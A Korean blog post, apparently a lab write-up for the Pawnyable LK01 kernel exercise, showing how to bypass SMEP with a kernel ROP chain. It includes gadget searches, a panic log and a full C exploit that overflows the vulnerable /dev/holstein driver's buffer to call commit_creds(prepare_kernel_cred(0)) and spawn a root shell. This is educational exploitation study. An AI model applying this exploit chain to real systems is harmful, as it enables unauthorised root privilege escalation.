Introduction
저번 글에서 이어집니다.
이전에는 커널 보호기법이 하나도 없는 상태에서 ret2usr 기법을 이용하여 커널 영역에서 유저 영역에 있는 함수를 실행해서 공격을 진행했었다. 이번에는 SMEP 보호기법을 적용해서, 해당 보호기법 우회 방법을 알아보려고 한다.
SMEP
간단하게 설명하면 NX Bit 보호기법처럼 실행권한을 제한하는 보호기법이다. 해당 보호기법은 CR4 레지스터에 SMEP 전용 비트가 0인지 1인지에 따라 제어된다. 보편적인 우회방법은 krop이기 때문에 이번 글에서는 krop로 공격을 진행한다.
Environment Setting
Extract vmlinux
ROP를 공부해본 사람이면 알겠지만 ROP를 진행하기 위해선 gadget이 필요하다. 커널 익스플로잇에 필요한 gadget을 찾기 위해서는 vmlinux 라는 심볼과 주소가 담긴 파일이 필요한데, 포냐블 LK01에선 제공해주지 않는다.
이럴 때 사용할 수 있는 extract-vmlinux 라는 script가 존재한다.
https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux
위 링크에서 받은 후 /bin 디렉토리에 넣어서 사용해주면 된다.

Edit qemu script & init script
qemu script
이전 run.sh 파일 -cpu 부분에 smep만 추가해주면 된다.
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu kvm64,+smep \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user \
-sinit script
디버깅을 위해 변경해주자
/etc/init.d/S99pawnyable
#!/bin/sh
##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
# echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 0 sh
##
## Cleanup
##
umount /proc
poweroff -d 0 -fModule Analysis
이전에 분석한 모듈과 동일한 모듈이기에 따로 분석할 내용은 없다.
https://velog.io/@d0razi/포냐블-lk01-ret2usr
Vulnerability
취약점도 Kernel BOF로 동일하다.
Exploit
ret2usr payload test
페이로드를 작성하기 전, 이전에 작성했던 페이로드가 진짜로 막히는지 테스트를 해보면 아래처럼 커널 패닉이 발생하면 커널이 죽는 것을 볼 수 있다.
/ # ./exp
unable to execute userspace code (SMEP?) (uid: 0)
BUG: unable to handle page fault for address: 0000000000401868
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0011) - permissions violation
PGD 32d2067 P4D 32d2067 PUD 3267067 PMD 3295067 PTE 38c5025
Oops: 0011 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: exp Tainted: G O 5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:0x401868
Code: Unable to access opcode bytes at RIP 0x40183e.
RSP: 0018:ffffc9000043beb8 EFLAGS: 00000202
RAX: 0000000000000410 RBX: ffff88800314d000 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000043bea8 RDI: ffff888003297c00
RBP: 0000000000000140 R08: 0000000000401868 R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000410
R13: 0000000000000000 R14: 00007ffd0665c3b0 R15: ffffc9000043bef8
FS: 00000000004cd3c0(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000401868 CR3: 00000000032da000 CR4: 00000000001006f0
Call Trace:
? putname+0x47/0x50
? ksys_write+0x53/0xd0
? __x64_sys_write+0x15/0x20
? do_syscall_64+0x38/0x50
? entry_SYSCALL_64_after_hwframe+0x44/0xa9
Modules linked in: vuln(O)
CR2: 0000000000401868
---[ end trace bc63a75d2e06a1bd ]---
RIP: 0010:0x401868
Code: Unable to access opcode bytes at RIP 0x40183e.
RSP: 0018:ffffc9000043beb8 EFLAGS: 00000202
RAX: 0000000000000410 RBX: ffff88800314d000 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000043bea8 RDI: ffff888003297c00
RBP: 0000000000000140 R08: 0000000000401868 R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000410
R13: 0000000000000000 R14: 00007ffd0665c3b0 R15: ffffc9000043bef8
FS: 00000000004cd3c0(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000401868 CR3: 00000000032da000 CR4: 00000000001006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabledunable to execute userspace code (SMEP?) (uid: 0) 이 오류 로그로 유저 영역의 코드를 실행할 수 없어 패닉이 발생한 것을 알 수 있다.
Find gadget
우리가 실행을 목표로 하는 함수는 이전과 같다.commit_creds(prepare_kernel_cred(0))
이 함수를 rop로 구현하려면 순서는 아래와 같다.
prepare_kernel_cred(0)호출 :pop rdi- 호출 후 return 값을
commit_creds함수에 인자로 전달 :mov rdi, rax commit_creds호출restore_state함수로 GS 세그먼트 복구
pop rdi
❯ ROPgadget --binary vmlinux | grep ": pop rdi ; ret"
0xffffffff8127bbdc : pop rdi ; retmov rdi, rax
❯ cat gadget.txt| grep "mov rdi, rax" | grep "ret"
0xffffffff8160c96b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; retrestore GS Segment
ret2usr로 공격할때는 유저 영역 함수 실행이 가능해서 그냥 restore_state() 함수를 작성해서 호출했었지만, SMEP를 활성화해서 해당 방법은 불가능하다. 때문에 직접 rop chain으로 복구를 해줘야한다.
static void restore_state() {
asm("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win));
}여기서 우리가 주소를 구해야 하는 명령어는 swapgs랑 iretq다. swapgs는 그냥 ROPgadget 툴로 구할 수 있다. 근데 iretq 가젯은 해당 툴로 못 구하는데, 왜냐하면 ROPgadget은 jmp, ret으로 끝나는 gadget만 구해주기 때문이다.
swapgs
❯ cat gadget.txt| grep "swapgs"
0xffffffff8160bf7e : swapgs ; retiretq
❯ objdump -d vmlinux| grep "iretq"
ffffffff810202af: 48 cf iretqPayload
위에서 모은 정보들을 토대로 페이로드를 작성하면 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define commit_creds 0xffffffff8106e390;
#define prepare_kernel_cred 0xffffffff8106e240;
#define pop_rdi 0xffffffff8127bbdc;
#define mov_rdi_rax 0xffffffff8160c96b;
#define pop_rcx 0xffffffff8132cdd3;
#define swapgs 0xffffffff8160bf7e;
#define iretq 0xffffffff810202af;
unsigned long user_ss, user_rsp, user_rflags, user_cs;
#define BUFFER_SIZE 0x400
void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
int main() {
save_state();
int fd = open("/dev/holstein", O_RDWR);
char buf[BUFFER_SIZE+0x100];
memset(buf, 'A', 0x408);
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = pop_rdi;
*chain++ = 0;
*chain++ = prepare_kernel_cred;
*chain++ = pop_rcx;
*chain++ = 0;
*chain++ = mov_rdi_rax;
*chain++ = commit_creds;
*chain++ = swapgs;
*chain++ = iretq;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
write(fd, buf, 0x500);
close(fd);
}
pop_rcx
prepare_kernel_cred 이후 갑자기 pop_rcx가 튀어나와서 당황한 사람이 있을거라고 생각한다(나 포함). 결론 먼저 얘기하면 mov rdi, rax 이후에 실행되는 아래 명령어 때문에 rcx를 0으로 초기화 해줘야 정상적으로 익스플로잇이 진행된다고 일단 추측했다.
rep movsq qword ptr [rdi], qword ptr [rsi]
rep: 반복
movsq: 64비트 단위로 데이터를 복사
이 명령어 때문에 삽질을 엄청 오래 해버렸다… 동작을 분석해보면 아래와 같다.
rsi가 가리키는 메모리 값을rdi가 가리키는 메모리 주소로 복사.- rcx -= 1!!!!
rcx 레지스터는 근본적으로 반복되는 명령을 처리할 때 반복횟수를 카운트하는 용도로 사용되기 때문에 해당 명령어가 실행되기 전 rcx를 0으로 만들어줘야 패닉이 발생하지 않고 제대로 익스플로잇이 진행된다고 본다. 아래 사진은 rcx를 0으로 변경 안했을때 커널 패닉이 발생하는 부분이다.

Conclusion
사실 마지막에 rcx를 0으로 초기화 해줘야하는 이유를 정확하게 알아내지 못해서 찜짐한 감이 있다. 근데 디버깅을 해봐도 push rcx에서 그냥 죽어버리니까 정확한 원인을 알아내고 싶어도 실력이 부족한 탓인지 알아내지 못했다..